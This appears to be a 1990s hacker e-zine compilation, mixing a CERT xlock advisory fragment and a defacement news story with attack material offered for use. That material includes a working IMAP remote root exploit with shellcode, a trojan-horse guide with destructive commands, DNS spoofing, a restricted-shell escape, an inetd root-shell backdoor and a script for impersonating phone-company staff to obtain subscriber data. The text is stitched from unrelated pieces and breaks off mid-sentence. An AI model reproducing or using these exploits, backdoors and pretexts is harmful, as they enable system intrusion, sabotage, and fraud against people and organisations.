implementations of xlock. It is possible attain unauthorized access to a system by engineering a particular environment and calling a vulnerable version of xlock that has setuid or setgid bits set. Information about vulnerable versions must be obtained from vendors. Some vendor information can be found in Appendix A of this advisory. Exploitation information involving this vulnerability has been made publicly available. Note that this problem is different from that discussed in CERT Advisory CA-97.11.libXt. II. Impact Local users are able to execute arbitrary programs as a privileged user without authorization. III. Solution Install a patch from your vendor as described in Solution A. If you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot install a patch immediately, we recommend Solution B. A. Obtain and install a patch for this problem. Below is a list of vendors who have provided information about xlock. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) Cray Research - A Silicon Graphics Company Data General Corporation Digital Equipment Corporation FreeBSD, Inc. Hewlett-Packard Company IBM Corporation LINUX NEC Corporation The Open Group [This group distributes the publicly available software that was formerly distributed by X Consortium] Solbourne Sun Microsystems, Inc. B. We recommend the following workaround if you are not certain whether your system is vulnerable or if you know that your system is vulnerable and you cannot install a patch immediately. 1. Find and disable any copies of xlock that exist on your system and that have the setuid or setgid bits set. 2. Install a version of xlock known to be immune to this vulnerablility. One such supported tool is xlockmore. The latest version of this tool is 4.02, and you should ensure that this is the version you are using. This utility can be obtained from the following site: ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz MD5 (xlockmore-4.02.tar.gz) = c158e6b4b99b3cff4b52b39219dbfe0e You can also obtain this version from mirror sites. A list of these sites will be displayed if you are not able to access the above archive due to load. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) ===================================== BSD/OS is not vulnerable to the problem in xlock since our xlock is not setuid. Cray Research - A Silicon Graphics Company ========================================== Cray Research does not include xlock in its X Window releases, so we are not at risk on the xlock buffer overflow problem. Data General Corporation ======================== The xlock sources (xlockmore-3.7) that DG includes in its contributed software package have been modified to remove this vulnerability. These will be available when release 8 comes out. We also recommend that our customers who have the current version should change the sprintf calls in resource.c to snprintf calls, rebuild and reinstall the package. Digital Equipment Corporation ============================= This reported problem is not present for Digital's ULTRIX or Digital UNIX Operating Systems Software. FreeBSD, Inc. ============= The xlockmore version we ship in our ports collection is vulnerable in all shipped releases. The port in FreeBSD-current is fixed. Solution is to install the latest xlockmore version (4.02). Hewlett-Packard Company ======================= We ship an suid root program vuelock that is based on xlock. It does have the vulnerability. The only workaround is to remove the executable, the patch is "in process". IBM Corporation =============== AIX is vulnerable to the conditions described in this advisory. The following APARs will be released soon: AIX 3.2: APAR IX68189 AIX 4.1: APAR IX68190 AIX 4.2: APAR IX68191 IBM and AIX are registered trademarks of International Business Machines Corporation.

Amnesty International Hacked : Article From cnet.com �� http://www.news.com/News/Item/0,4,10135,00.html Amnesty International hacked By Janet Kornblum April 28, 1997, 3:15 p.m. PT Hackers broke into the Amnesty International home page over the weekend, altering it with a highly stylized, futuristic-looking graphic of a small child or baby smoking a cigarette. Amnesty International didn't know what the perpetrators wanted to accomplish with the hacking, which was strikingly apolitical considering the political nature of the target. Above the picture, the altered Web page read, "Who laughs last? We are the 4 man dream team, just proving one of many points." But just what those points were was lost on many, not the least of whom was Mike Blackstock, the system administrator for Ontario Internet Link, the small Canadian Internet service provider that hosts the Amnesty site for free. "As far as I can tell, they didn't do anything malicious," he said. "They replaced one page of Amnesty with a silly graphic of a kid smoking. This was not political as far as I could tell. The only politics I could think of was cigarettes." Beneath the picture, the page is signed, "Thanx to: so1o, modeX, XFli, mstrhelix...CodeZero uber alles!" This hack appears to be unrelated to other recent high-profile incidents, including one last week in which a Portuguese group broke in to Indonesian government Web pages to protest its treatment of East Timor. In that case, the hackers--referred to by many as "crackers" because they crack into systems--were quite clear about the reasons behind their action. In the case of the Amnesty page, Blackstone said the hackers only altered the Web page and did not cause major damage, though they could have done so if they wanted to.

DrSpewfy : Pile'O'Crap, why not get a nameserver and sirc? and actually be able to talk to people? DCCNewk : Chargen Flood? why not try like, SYN FLOOD? d0h.. Port Pro : Okay, original Port Pro is SHAREWARE, made by Blue Byte Software, and it is SOOO obvious that //sToRm// just did a little bit of hex editing, and B00oo00m! hes changed the authors name and shit to his own! but ummm, because of his EXTREME lameness, he didn't know how to change the program name, the version and the general interface and look of the program, what a LAME FUCK. I'm sure he will have Blue Byte on his fucking ass with Copyright and shit. h0h0h0h0h0!@# I doubt //sToRm// coded *ANYTHING* on that page, as DrSpewfy is just shit, and DCCNewk is just like the DCC Nuking code we put out in the CodeZero Technical Journal Issue 2 :) �� 3. Digital Darkness Lives : so1o �� It looked as if the DD wouldn't bring out a magazine this month, but they got a huge influx of submissions and live another day!@# if you want to submit anything for DD, mail [email protected] or [email protected] 'cos I ain't shure. Visit their page too : http://dd.home.ml.org �� 4. /home/sdr 0wned : so1o �� sdr, a user of duncan.nac.net (owned by bspline - where all the cool people on efnet have their shells) was playing with the permissions in his home directory and he accidentally made the whole directory world readable, so then cold blood and others got all of sdr's k-leet y00nix juarez, and tar'd + gz'd them up and were distributing the sdr.tar.gz in #hack using XDCC :) �� 5. Sendmail 8.8.4 Remote Is Out : so1o �� Yep, its been confirmed, the sendmail 884 remote exploit for ALL OS's is now out, there was some delay in r00t members getting the offsets needed for each Operating System, but now the technique is complete, and many 8.8.4 systems are vunerable.

This version changes the root passwd field to being blank, so you can su to root without a password. I have heard there are problems and limitations with this, but that ain't my problem.. /* This is the remote exploit of the hole in the imap daemon, for Linux. The instruction code is doing open(), write(), and close() system calls, and it adds a line root::0:0.. at the beggining of /etc/passwd (change to /etc/shadow if needed). The code needs to be self modifying since imapd turns everything to lowercase before it pushes it on the stack. The problem is that it rewrites the first line of passwd/shadow, therefore loosing the root password. I'm sorry, but I don't have time to add in the seek syscall. - Akylonius ([email protected]) [1997] Modifications made on 5.1.97 to accept command line hostname, with 'h_to_ip' function that resolves it to an ip. - p1 ([email protected]) */ #include #include #include #include #include #include #include char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) { perror("Resolving the host. \n"); exit(-1); } memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void banner(void) { system("clear"); printf("\nIMAP Exploit for Linux.\n"); printf("\n\tAuthor: Akylonius ([email protected])\n"); printf(" Modifications: p1 ([email protected])\n"); } main(int argc, char **argv) { int fd; struct sockaddr_in sckdaddr; char *hostname; char buf[4092]; int i=8; char realegg[] = "\xeb\x58\x5e" "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26" "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8" "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2" "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31" "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31" "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1" "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83" "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" "\xe8\x83\xff\xff\xff" "/etc/passwdxroot::0:0:r00t:/:/bin/bashx"; char *point = realegg; buf[0]='*'; buf[1]=' '; buf[2]='l'; buf[3]='o'; buf[4]='g'; buf[5]='i'; buf[6]='n'; buf[7]=' '; banner(); if (argc<2) { printf("\nUsage: %s \n\n", argv[0]); exit(-1); } hostname=argv[1]; while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */ buf[i++]=0x90; while(*point) buf[i++]=*(point++); buf[i++]=0x83; /* ebp */ buf[i++]=0xf3; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=0x88; /* ret adr */ buf[i++]=0xf8; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=' '; buf[i++]='b'; buf[i++]='a'; buf[i++]='h'; buf[i++]='\n'; buf[i++]=0x0; if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n"); sckdaddr.sin_port=htons(143); sckdaddr.sin_family=AF_INET; sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n"); printf("hmm: \n"); getchar(); write(fd,buf,strlen(buf)+1); printf("hmm: \n"); close(fd); } �� 5.

DTMF Decoder : xFli �� DTMF Decoder plans. ------------------- If you are into bigtime surveillance, or you just have some burning desire to get the phone number of your sisters sexy friend, then you will be interested in this little circuit. Basically, using this, you can use a tape recorder and a pickup coil to record the DTMF tones sent when someone dials a number, or if it is easier to you can wire it up to a phone jack and decode in realtime, and then decode them to get the number dialled. This can cope with speed dialling, but you will need a reasonably good recording to decode successfully. The circuit is simplicity itself, literally only 5 components. I could have included an unreadable ascii circuit diag / pcb layout, but it would have been a waste of time, so the diags are available from http://www.codez.com and other CodeZero sites.

Dealing with directory assistance operators : Qytpo �� Allright, this information should be made available to everyone who cares to read it. Any information used from this article is to be used at a persons own risk. i will not be held responsible if any of this is used for wrongfull purposes- ( it can, you just have to get really creative ). Well, to start off, the job of the directory assistance operator, is to give out addresses, phone numbers, and area codes, for the information given to them. The operators can search from names, business names, and government names, despite what anyone tells you, an AT&T DIRECTORY ASSISTANCE OPERATOR CAN DO A CNA SEARCH. (Customer name and address) If the particular operator says they cant, then bug them. yell at them. if they dont do it themselves, they will get their supervisor. and if you make it sound really important they can do it. and if all that doesnt work, try to find a naive operator, tell them you are an AT&T administrator, and say, to press (Control+C) to bring up a CNA search on their switch. A CNA search is a very valuable asset, if you cannot find a CNA operator, give a directory assistance operator a whirl, chances are, if you have a brain, and are a decent actor, you can get the listing for the number you give them. Routing. The calls are routed through a large mainframe in each state department How it works: Say you dial, 602-555-1212. that would put you through to an operator ANYWHERE in the United States, where phoenix calls are routed through to. it will not just appear in 602, allthought that is where it is supposed to. If the switches in 602 are full, the call could end up anywhere in the US. When the operator picks up the reciever- (it is actually a headset that beeps). The call is automatically traced to whatever area code they dialed. so if You dialed (602 555 1212). an operator anywhere in the US, would get a listing on their screen, and a default city, in the upper left hand corner [PHOE] (phoenix arizona). [ *note*: depending on the area code, 602 for example, the operator can search the area codes permitted in that area code..] for example, if you dialed 602-555-1212, the operator would be allowed to search in 502 (the other area code in AZ) However, in some area codes, they will make you redial, like LA, or TEXAS, or NEWYORK; they have so many area codes, For example 310 and 210, in LOS ANGELES If you wanted a listing for LOS ANGELES, and dialed 210-555-1212, and wanted a listing for city in los angeles which was 310, they would make you hang up and dial 310-555-1212. (the operator shuld be saying to himself/herself, "no, this kiddie needz to call 310 instead, or i get fired for giving out bad information"...if they have a clue) Sample Call to a D A O for a CNA Search: ( The best way to get info ) ( caller dials 555-1212 in area code ) City please? Yes, this is James Thornton at AT&T the AT&T administrative assistance office. I need you to do a CNA Search for me. I'm sorry sir, we're not permitted to do CNA searches. Yes, I know. May I speak to a supervisor? This is So and So supervisor, how can I help you sir? Yes, this is James Thornton down at the AT&T (also called Excel) office in Florida, we need a CNA search done for a XXX-XXX-XXXX. One moment please. Ok. Ok, I am (or am not) showing a listing for XXX-XXX-XXXX, would you like that listing sir? Yes please, and I would like that verbally. (if you time it just right, you can get the info for free. if yer beige boxing, it doesnt really make a difference tho.) - hang up, say "what" a few times, to make it sound like you didnt get the listing. and hang up before she finishes the second time. she can only bill you while you are on the line, and if she fucks up, you can get away with it with no bill while they read you the number. This method only works for a verbal listing. if yer quick enough. ;) - - - The NPA RULES. - - - NPA dialed : NPAS PERMITTED TO SEARCH IN FROM THE NPA DIALLED -----California---- 213 213 209 408 510 707 916 408 209 510 415 510 707 510 209 408 415 707 916 707 209 415 510 916 714 714 916 209 510 707 -------Texas------- 210 512 915 214 817 903 972 281 409 713 409 281 512 713 817 903 512 210 409 817 915 713 281 409 806 817 915 817 214 409 512 806 903 903 214 409 817 915 210 512 806 817 972 214 817 903 -----New York------ 212 718 914 917 315 518 607 716 516 718 518 315 607 914 607 315 518 716 914 716 315 607 718 212 518 914 914 212 518 607 718 917 (cell) 212 718 914 *note*: all other states can search all NPA's listed in that state. - Qytpo (@#hackers on EFnet) �� 3.

SETTING UP ---------- LaRCSCAN is a combination of fifty script and c-language files. (No need to compile the c code, the scripts will do it ). To set up to run LaRCSCAN create a directory LARCSCAN in the users home directory. Copy LARCSCAN.tar into this directory. Do a tar -xf LARCSCAN.tar. This will create a 'project' directory containing all the script and 'C' files. Next create a directory 'LARCSCAN/data' . In this directory you wil create two files- 'hname1' and 'uname2'. These should be plain ascii text files. The first (hname1) will contain a list of all the target machine host names, one name per line. Example: viper machine2 dumbo (These may also use the longer format i.e. 'dumbo.larc.nasa.gov') The second (uname2) should contain a list of standard vendor account names you wish to check. Example: guest tutor 4Dgifts demo demos lp There is an extensive list of these names in the file named 'acctlist'. We normally run 6 to 8 of these each month, rotating through the list. They are used in the 'rsh' attempts and using too many can cause the process to be extremely slow. Before running LaRCSCAN, there are several places code must be changed to reflect the user, host and domain running the scan. The following changes should be make: FILE CURRENT TEXT REPLACEMENT --- ----------- ----------- ftpsc 'jpark@bize' your username@your hostname fptss 'jpark@bize' your username@your hostname getftp.sh 'jpark@bize' your username@your hostname getftpss.sh 'jpark@bize' your username@your hostname ftpsc '#local=larc.nasa.gov' '#local='your complete domain ftpss '#local=larc.nasa.gov' '#local='your complete domain hostsljc '#local=larc.nasa.gov' '#local='your complete domain rshss '#local=larc.nasa.gov' '#local='your complete domain rshsc '#local=larc.nasa.gov' '#local='your complete domain shownlj '#local=larc.nasa.gov' '#local='your complete domain line.c 'strncmp(pl.hdr,"larc",n)' substitute the site portion of your domainname (lerc,arc,jpl,etc) for 'larc' These changes are necessary in order for your results to be accurate. The C code is compiled (by the script files) using cc with the -o (next token is output file) option. If this compiler is not used on the scanning machine, you should be able to substitute the appropriate compiler command and option. Compilation occurs from: exec1.sh exec2.sh rshsc rshss shownlj RUNNING LaRCSCAN ---------------- LaRCSCAN can take quite a while (days) to run to completion, so it is reccommended that it be run in the background mode. We do this either with crontab starting it at a specified time/date or through the use of 'nohup'. The command that starts the process is 'sh tst1.sh' (in the project directory). The necessary subdirectories and files will be created as needed. RESULTS ------- The first report (LARCSCAN/result/result.db) is a summary of the results from each target machine. It starts with the date the scan began and the total number of target hosts. The next line is the column header line, containing the following abbreviations: HTNAME - hostname HUK - host known (is the hostname an active host) TFTP-trivial ftp (is the trivial ftp utility active on this host) FTP-anonymous ftp (is anonymous ftp active on this host) There can several valid responses in this column. No-anonymous ftp is not active Yes_No-anonymous ftp is active but no password file was captured. Yes_Yes-anonymous ftp is active and a password file was captured. ALIAS-were the 'decode' or 'uudecode' aliases present in the aliases file SDM-was the 'wiz' password present in the sendmail.cf file SHADOW-was the captured password file a shadow password file. N/A used when no password file was captured. (This is the only instance where 'Yes' is a desired result) +LINE-Indicates a single '+' on a line by itself in the hosts.equiv file The second report (LARCSCAN/result/result2.db) is a list of all hosts found to have accounts with no password, followed by the unprotected account names. The ACCTS_OFF and OFF columns will be used to represent host.equiv entries that are located off-site and target hosts located off-site. Currently these entries are not valid! The last report (LARCSCAN/result/resultr1.db ) contains a list of all file systems exportable to the world. Any specific questions or problems may be sent via E-mail to [email protected]. (readme.naiad) The NASIRC Automated Inode Anomaly Detector (NAIAD) --------------------------------------------------- Copyright 1996 Hughes STX Corporation This software was developed by Hughes STX Corporation for the National Aeronautics and Space Administration under contract NAS5-30440. An unlimited license for use within NASA is granted. Hughes STX Corporation makes no representation concerning the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind. Author: Fred Blonder NAIAD will traverse a specified directory and all its sub-directories, looking for files meeting certain built-in criteria. If no directory is specified, it starts at the current directory. Its purpose is to find evidence of attempted or actual system tampering. The tests performed cannot easily be performed by existing system commands such as "find". NAIAD is intended to be used in conjunction with such programs and checksumming programs. The tests NAIAD performs are: * Check for file names containing unprintable characters. These are sometimes used to hide illicit programs, or the output from them. They are also frequently created by fumble-fingered users, and are not necessarily a sign of a problem. Optionally, naiad will rename the file to something easier to type on a normal keyboard. * List symbolic links, or just symbolic links to files whose name begins with a period. The exploitation of security holes in some programs involves placing symbolic links into a spool directory. NAIAD will help locate links in unexpected places. * Lists old files whose inode has been altered recently. Some malicious programs attempt to hide the fact that they have altered a file by using the "utime" system call to alter the "last modified" time of the file. The inode also contains the "inode changed" time, which is not modifiable by this call; thus a file which has been tampered to display an old modification time will still have a recent "inode changed" time. Of course, this can also be caused by someone using the "chmod" command. There are two parameters associated with this: the "window" is the amount of time within which the modification times may differ without being flagged, (default is 30 minutes, which can be changed); and "cutoff", which is the time within which the inode must have been modified for the file to have been flagged (default is to not show files whose inodes have not been modified in the last week, which can be changed). * Lists device files which are not under the /dev hierarchy, or ordinary files that are. * Lists any files or directories whose mtime, atime or ctime are later than the current system time. * Lists files which contain user-specified search-strings. This is similar to the command: find . -exec grep '{}' ';' -print but a little more efficient because there isn't a process started for each file, and naiad can be made to search only part of each file. The output format is: MMM mmm iiiiiiiiii xxxxxxxxxxxxx: "" ...where "MMM" is the major device number, "mmm" is the minor device number, "iiiiiiiii" is the inode number, "xxxxxxxxxxx" is a comment, and "" is the pathname of the file. There may be additional information appended to the line. You will probably want to run as super-user so that NAIAD can access the entire file system. It is passive, and will not alter anything it finds. More detailed information may be found in the "naiad.1" file, which is part of the naiad tarfile. ---These Are The *EXACT* Files Taken From The nasa.zip.gz I have--------------- So, looks as if NASA has some pretty neato detection juarez to use, I wouldn't advise anyone to hack any *.nasa.gov system without knowing how to obtain root and having mad skills to counter-act these security measures, you have been warned. so1o. �� 3. Rooting From Bin : so1o �� This is something I was thinking alot about the other day, I was on a System V Release 4, I had just performed the chkperm exploit, which only gives bin access (uid=1 and gid=1) to the system, so even though I own all the files in the /bin/ directory, I am still not root. Here is a very very simple technique I developed for such occasions, this may come in useful one day for someone, somewhere... Write a program that you can get people to run, you could get hold of the source for a common program, such as su or who or mount. Put this line in it somewhere: if ( !strcmp(getlogin(),"root") ) system("whatever you want"); This checks to see if the root login is running your program. If he is, you can have him execute any shell command you'd like. Here are some suggestions: "chmod 666 /etc/passwd" /etc/passwd is the system's password file. The root owns this file. Normally, everyone can read it (the passwords are encrypted) but only the root can write to it. Take a look at it and see how it's formatted if you don't know already. This command makes it possible for you to now write to the file - i.e. create unlimited accounts for yourself and your friends. "chmod 666 /etc/group" By adding yourelf to some high-access groups, you can open many doors. "chmod 666 /usr/lib/uucp/L.sys" Look for this file on your system if it is on the uucp net. It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it. Find out who owns this file and get him to unknowingly execute a program to unlock it for you. "rm /etc/passwd" If you can get the root to execute this command, the system's passwd file will be removed and the system will go down and will not come up for some time to come. This is very destructive and evil, but pointless, if you do want to damage a system, at least use your imagination. If you are going to go about adding a trojan horse program to the system, there are some rules you should follow. If the hidden purpose is something major (such as unlocking the user's mbox or deleting all of his files or something) this program shouldn't be a program that people will be running a lot (such as a popular computer game) - once people discover that their files are public access the source of the problem will be discovered quite easily. Save this purpose for a 'test' program (such as a game you're in the process of writing) that you ask individual people to run via mail or 'chatting' with them. As I said, this 'test' program can bomb or print a phony error message after completing its task, and you will just tell the person "well, I guess it needs more work", wait until they log off, and then read whatever file of theirs that you've unlocked. If your trojan horse program's sole purpose is to catch a specific user running it - such as the root or other high-powered user - you can put the code to do so in a program that will be run a lot by various users of the system. Your modification will remain dormant until he runs it. If you cant find the source to 'star trek' or whatever in C, just learn C and convert something from pascal. It can't hurt to learn C as it's a great language. We've just seen what it can do on a UNIX system. Once you've caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you'll never be caught. so1o. �� 4. DNS Spoofing : so1o �� You can now use a new DNS spoofing technique originally developed by johan, I have seen this technique often applied to IRC, and prym was one of the first to use the technique for that purpose. Here is a basic introduction into the DNS concept. -------------------------------------------------- DNS stands for Domain Name Server although you may hear it refered to as Dynamic Name Server. DNS servers are used so that instead of everyone having numeric IP's for their websites and shit, they can use a DNS so that a client can 'lookup' the name (eatme.com for example) to the numeric IP. Basically, a DNS server is a computer which is running a nameserver daemon typically listening on UDP port 53. When a new domain is setup the domain is registered with Internic. Internic then tells its clients who has authority over the domains registered with it. For example say 1.2.3.4 wanted to resolve the address for peachie.com and 1.2.3.4's nameserver was 1.3.3.7. 1.2.3.4 would ask 1.3.3.7 what the numeric IP for peachie.com was, so 1.3.3.7 would ask internic who had authority over peachie.com and internic might reply with ns.peachie.com. So then 1.3.3.7 would ask ns.peachie.com what the numeric IP for peachie.com was. Then ns.peachie.com would tell 1.3.3.7 that the numeric IP for peachie.com was 4.3.2.1 and then 1.3.3.7 would then tell 1.2.3.4 the numeric IP and the name would be resolved. DNS servers generally cache addresses that are looked up by its clients. So if 1.2.3.4 were to ask 1.3.3.7 what the address for taco.com was again, 1.3.3.7 would not ask Internic etc. instead it would take the IP that it had previously resolved earlier and say that the numeric IP for peachie.com is 4.3.2.1. the funny part is that the DNS server doesn't do alot of checking when another nameserver replies to its query. It basically just tells the client what is was told at an earlier point and caches it in the same way. This is why we can spoof using such a technique, but we would need root access to a nameserver first, this is one of the biggest setbacks... How to spoof your DNS. ---------------------- Lets say were sitting on ns.peachie.com with root, and we have authority for all of peachie.com. we want to cache our boxs address 2.2.2.2 on the remote nameserver ns.eatme.org so that we can connect to eatme.org with the address of trusted.eatme.org. We could write a program that listens for DNS queries and replies with false information. sitting on ns.peachie.com we could lookup peachie.com on the nameserver ns.eatme.org. ns.eatme.org would ask Internic who had authority for peachie.com and it would reply to ns.eatme.org that ns.peachie.com had authority over peachie.com. Then ns.eatme.org would ask ns.peachie.com what the address for peachie.com was. If we were running a normal DNS then it would tell ns.eatme.org that the address for peachie.com was 4.3.2.1. but we aren't. We'll say that ns.peachie.com tells ns.eatme.org that the reverse of 2.2.2.2 is trusted.peachie.com and the address for trusted.peachie.com is 2.2.2.2. This exploits the failure to check a few things on the DNS. Basically ns.eatme.org asked what the numeric IP for peachie.com was and we told it that the reverse of 2.2.2.2 is trusted.eatme.org and that the IP of trusted.eatme.org is 2.2.2.2. They asked a question to which we responded with two awnsers to different question entirely. Now we would simply connect to eatme.org from 2.2.2.2 and eatme.org would ask ns.eatme.org for the reverse of 2.2.2.2 and in its cache it would find trusted.eatme.org and it would reply with that answer. Then it would ask for the address of trusted.eatme.org and it would reply with 2.2.2.2. you would then be connected to eatme.org from trusted.eatme.org and in effect DNS spoofing. That's all there is to it, it may be a bit heavy for some people. so1o �� 5. FreeNet : TrN �� Breaking security on restricted shells and freenets. What many system administrators fail to realize is that by setting up shells and security on their applications and systems, and generally trying to lock users in a freenet menu environment, it is almost impossible to fully examine every program. Many programs allow you to escape to shells, even in secure mode, especially the older ones. There is a longstanding bug in the gohper application, used by many freenets, that allows you to start up a gopher server, where an entry is created such as ";sh". Following this entry provides a shell. This is the main reason why the original gopher client is no longer in use. A "l;rm -rf *" was just as easy. In todays world, the biggest problem is that freenets usually allow you to edit files. If this is the case, you almost have a 100% chance of you getting into a real shell. What you first have to do is see if you can go through the menu system to edit a file. If you can't that is cool too. We are going to show you how to get a shell out of PINE. It doesn't matter which version, this works all the way up to 3.96. Anyway, like I was saying, you should see if you can either a) edit a file, or b) upload a file. I'm almost sure you can do either. So, lets start a little session here. First, you have to edit your .pinerc. If you can't, download it (or get it from the PINE package), make the changes, and reupload it. What is important is that you edit the feature-list=commands, and have it read something similar to this: feature-list=enable-alternate-editor-cmd, enable-unix-pipe-cmd After setting this correctly, go further in the file, and until you find the editor= command. It is stated that the editor is normally set to sh, and invoked via _^ [Control-Shift-Dash]. Do you get the idea yet? Set the line to read editor=sh and then save the file. Now for the fun part. Start up pine, and chose Compose Message. Erase all the To/Cc/Att/Sub headers, and make the message text blank, except for the work "sh" (without the quotes) on a single line. After this is done, press the alternate editor hotkey (^_). Here is what happens: To : Cc : Attchmnt: Subject : ----- Message Text ----- sh $ Kinda neat. That little $ is the sign that it all worked. What you probably want to do is execute some of the standard commands that tell you a little about where you are: $ uname -a ; uptime ; /sbin/ifconfig -a SunOS pb 4.1.3_U1 1 sun4m 12:14am up 47 days, 12:18, 24 users, load average: 2.71 le0: flags=63 inet 199.227.192.35 ffffff00 199.227.192.0 lo0: flags=49 inet 127.0.0.1 ff000000 Then a w ; ps -aux would be nice. It can tell you a little about what is going on, and what is safe to do the things you want. You should probably log on late at night, compile slirp if it is only a shell/vt dialin, and then check the system for vunerabilities, unshadowed passwords, etc. I've notified my freenet of their problems, but they don't seem to care. Maybe now they will. Ok sysadmins, fix up your freenets, and hackers... Hack the planet. :-) This article by TrN of The CodeZero. I'll have more interesting information on the way. You can get ahold of me at http://bluebox.dyn.ml.org:8000, or by e-mail at [email protected]. You should check out the web page, as it has other security related information. LaterZ. One other thing to consider, if ports 514 / 512 are open, then you can try creating an .rhosts file in your home directory containing "+ +", then use.. rsh -l loginhere systemhere.com csh -i ...and you will get a shell -- so1o �� 6. Backdoors Revised : Blk-Majik �� Disclamer: If you do anything mentioned in this article, it is your own fault and any trouble you manage to get into is your own responsibility, not mine. But what am I thinking...like any of you lamers can root a shell :). gr33tz: A big wuzzup to cf, oK, oa, and gZ! Keep it kewl, madmax, imunknown, pack, plum, mogle, crytpo`, so1o, c0d, and da rest of muh boys! Thanx to mcooly for making this document possible and helping me out! ============================================================================= section 1: ============================================================================= What is a back door? : Well, kiddies, a backdoor is just a way to remotely get into a shell without being noticed or sometimes logged. This can be done by adding a extra telnet port to the server I will show you a few ways to set up the port, and also how to keep it up even after the admin find it. so1o had a section in a back issue with a back door using the inetd.conf file where you had to end all commands with a ";". Well that annoyed the hell out of me so I have modified his technique. ============================================================================= section 2: ============================================================================= What you need : Basically, you need root on a shell to start (and a Unix based OS). After that, you will need a good editor....say pico or vi. Most of you #shells wh0res need, but lack this important ingredient....a fucking brain. ============================================================================= section 3: ============================================================================= Understanding the technique : After you checked your head, editor, whoami, etc, you are all set. Ok, this is what you look for: /etc/services This file lets you find a port /ect/inetd.conf This is where the backdoor will be ok, in the /etc/services file, you will see something like this: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process ok, what the fuck is that? ill explain it with this example: ftp 21/tcp #File Transfer [Control] ftp 21/udp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1: The name of the service of the system. 2: The port that the system uses for the service. 3: The protocol (going to be tcp. You can chose either tcp or udp.) 4: A description of what the service is used for. Aight, thats the service file...you will need this later. now look at the /etc/inetd.conf file. the inetd is a Internet daemon that will listen for tcp requests and UDP prots and then spaws the program when a connection request is made. It will look like this: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd let me explain it: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A [1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ] 1: Name of deamon in the services file. It tells inetd what to look for in /etc/services to see what port to use when connecting. 2: Type of of socket connection that the deamon will accept. 3: Protocol field which is always TCP or UDP. 4: How long to delay connection. 5: User to run on the deamon as (used with uid/gid permissions etc.) 6: What program will keep the connection. 7: The actual command or daemon. Ok, so what that dose it makes a port for telnet (port 21, as defined in the services file). It has a stream/tcp connection and dosn't wait for a prompt. The user is of root access and uses /ur/libexec/tcpd (but limited commands) Ok, now u know what the shit is for, next step... ============================================================================= section 4: ============================================================================= Installing the backdoor : Backdoor I : Using /etc/inetd.conf and /etc/services ---------------------------------------------------- method 1 : ---------- ok, now go back to the /etc/services file. Look at it and find a service you think the admin will not notice, and that is not in use. remember the name of the service. Now, go to the inetd.conf file. Go to a place with all the services name where the 1 is in the above example. Add you service somewhere so it is hidden within others. For 2, put the port of the service. 3 is tcp, duh. 4 is nowait. 5 will be root, so u get root access. 6 is going to be /bin/sh or what ever you like. 7 has to be 6 -i..ex: if 7 is /bin/sh, 7 is /bin/sh -i here is an example: ftp stream tcp nowait root /bin/sh sh -i Ok, now you have to restart the inetd. do this by typing (as root) : killall -HUP inetd Ok, now lets test it. From a different system... telnet victum.server.com 21 Trying 123.456.78.9... Connected to comp.com Escape character is '^]'. bash# bash# whoami root bash# tip: do NOT use the ftp port...it is just used to often. Pick a service that is not use alot. It will help you keep the backdoor running. method 2: --------- If you are willing, you can add your own service to the service file. This is easy..say you service file is like this: netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp ok, look at the ports.....see how they skip a few? well lets fill 1 of them up... netbios-ssn 139/tcp nbssn suled 142/tcp suled imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp Notice the suled service...that I added that to the /etc/services. Ok, now to the /etc/inetd.conf file: ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn ...Here we go!! ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn suled stream tcp nowait root /bin/sh sh -i Ok, now restart inetd like i said how 